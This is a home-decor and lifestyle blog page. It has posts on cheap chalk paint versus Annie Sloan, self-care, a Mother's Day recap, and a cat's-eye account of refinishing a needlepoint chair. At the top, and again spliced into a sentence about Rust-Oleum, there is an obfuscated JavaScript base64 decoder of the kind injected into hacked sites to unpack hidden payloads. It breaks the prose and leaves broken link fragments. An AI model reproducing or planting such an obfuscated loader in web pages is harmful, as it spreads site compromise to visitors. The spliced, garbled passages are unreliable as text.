function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc/" rel="bookmark">…more rust-oleum and deepak chopra

Yes. To all those that commented after yesterday’s post on function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oes/chalked” target=”_blank”>Rust-Oleum. I agree that you get what you pay for and I agree that this paint is not the same quality as Annie Sloan. It is sadly and unfortunately just not as good (I have other thoughts about the Rust-Oleum Topcoat so stay tuned). BUT, I also get so many emails about how expensive Chalk Paint is and I do think it is often out of people's budget at almost $40 a pint. I don't want money holding anyone back from painting over that drab furniture and not transforming your space and ultimately your mood. This is most important to me.

Painting furniture is all well in good, but I want to deepen it with you. I really do believe that you deserve a beautiful environment. We work so very hard out there in the world and are constantly battling other personalities and events that push and pull us and every once in a while knock us down. I want you to rest in a place that is pleasing and calm. I think a space can really change our mood. I have been know to leave a restaurant if I do not feel comfortable in the environment...or I just hate the color of the linens. Let me explain. As a mom of three active kids, I do not get out to dinner much with Dear Husband so when I do I want it to be worth putting on make-up and paying for a babysitter. What is around me is how I FEEEEEEL inside.Yes, it's slightly embarrassing to DH, but I want to sit in Lovely. I realize that I am a sensory person, but I got to believe that if we are surround with beauty then we will feel special and, maybe, beautiful ourselves.

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This is the feeling I want for all my sweet readers. I want you to know that you deserve beauty in your life and I think your space can lift you up and prepare you for what the world holds outside it's walls. So, if money is going to hold you back from changing your space, don't let it. Get it where you can. If it's a spray can or a half open can of wall paint that's been sitting on your garage, let's move forward creating beauty and creating new lives.

Okay, that sounds a bit lofty, I know. But as someone that is trying to live wholeheartedly (as defined by the beloved Brene Brown) I think finding rest in our space is a good first step to self care. And guess what, self care and compassion is the most important thing that you can do for yourself and for your family. If you put off finding peace in your body and your mind, you may lose the opportunity for contentment in your daily life.

DS (Dear Sister) sent me this amazing reminder via Deepak Chopra this very morning.

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How good is that?! To me, this means that thinking I can just plow through my life doing and doing more and it's not going to take a toll on my body is so misguided. It all works together. My stressed out thoughts will have an effect on how my body works and runs. I am naive to not remember this always. But, before I shame myself, I will have compassion and remind myself that this is a practice. Every day is another opportunity to practice rest and creating beauty because we all deserve it.

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I am a day late in wishing all you mother’s a happy day, but I was basking in the blessing of Dear Husband taking care of all the parental duties around here, which also included my very, very favorite breakfast - eggs benedict. I would eat egg benedict for every meal if I had a choice.

You know I love design in all forms and I can't help but get excited about fashion and products and food and travel that reflect who I am on the inside. A good design is a good design. No matter if is a rug, a pillow, a door, a dresser, a hangbag or a certain dress that could have been inspired from a vintage handcerchief. I do love pretty clothes, especially ones that mirror who I feel like inside. It's just another opportunity to express to the world who this recovering shy girl is.

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So, after my delicious breakfast (Oh my, my mouth is watering just tying about it) and a sit on the couch with my coffee, DH and my three darlings offered me a their gifts of hand colored treasures, beaded necklaces, paper flowers and all the things that I will never tire of. The Peony and Suede Blush was in a little box. Sweet and light.

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The handkerchief dress in a big black box. I think it's so sweet when a man buys a girl a dress. Yes, I may have hinted about this particular one, but he went out and bought it.

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After an amazing and life-changing Thai massage we went to a local pub for lunch. Oh, how this former vegetarian loves a good burger now days. Yes, Ma'am.

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I have to say, though, that my very favorite part was getting my kids to watch my favorite movie in our basement theater. They sat through the entire showing of Breakfast at Tiffany's and God-bless Reid for crying when Holly Golightly kicked Cat out of the taxi.

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I hope you all were blessed with the love you deserve and were able to really take it in. There are times when I cannot take in love and just shrug it off and think I have to do more and try harder. Yesterday I didn't do that. I let the love come to me and really let it in. In return I felt showered by those that I share life with and honored to be the mom that I am.

…how to refinish a needlepoint chair from the perspective of my cat

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AAAAAAAH! A large, scary monster come to hurt me!

Oh, it’s just a chair.

AAAAAAAH! She is going to smush me with that chair! But, no. She is putting it on top of the place where I sunbathe. Why would she put it way up there? Oh, she wants me to lounge on it. It’s a lounging chair for me. Yes, that’s nice. Much better than the end of the couch. Now I am high up and can view the rest of the room from up here. She wanted me to be higher than her because I am like the king in this home. How nice. Maybe I do like her.

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Green string? How stupid. I'm not playing with that and she certainly doesn't need to decorate my chair. It doesn't even match my fur. Maybe if she could just shift it slightly to the left so the sun could reach my belly a bit more.

Oh! I get it. She wants to play! No? She doesn't want to play? What is that deep voice coming from her mouth, snapping my name. If she doesn't want to play then she shouldn't stick that paint brush anywhere near my paws. Duh.

Purrrrr. It's Greta. Okay, Greta put that ugly green string on my throne.

DINNER! I will return.

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Blast. It is my brother Owen. He has always wanted to usurp me. Try as you may, but you will never take me down, Brother.

Oh, thank God. She's taking off the green string. It really wan't working for me. Wha, Wait. Where are you taking my throne? To the family room?

NOOOOOOOO!

And what is that ugly white thing?

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A stuffed lamb? A toy? I've been replaced by a child's toy? She will not be finding me at the end of her bed tonight. No sir. I may even ignore her for a whole day after this. And dinner better be on time.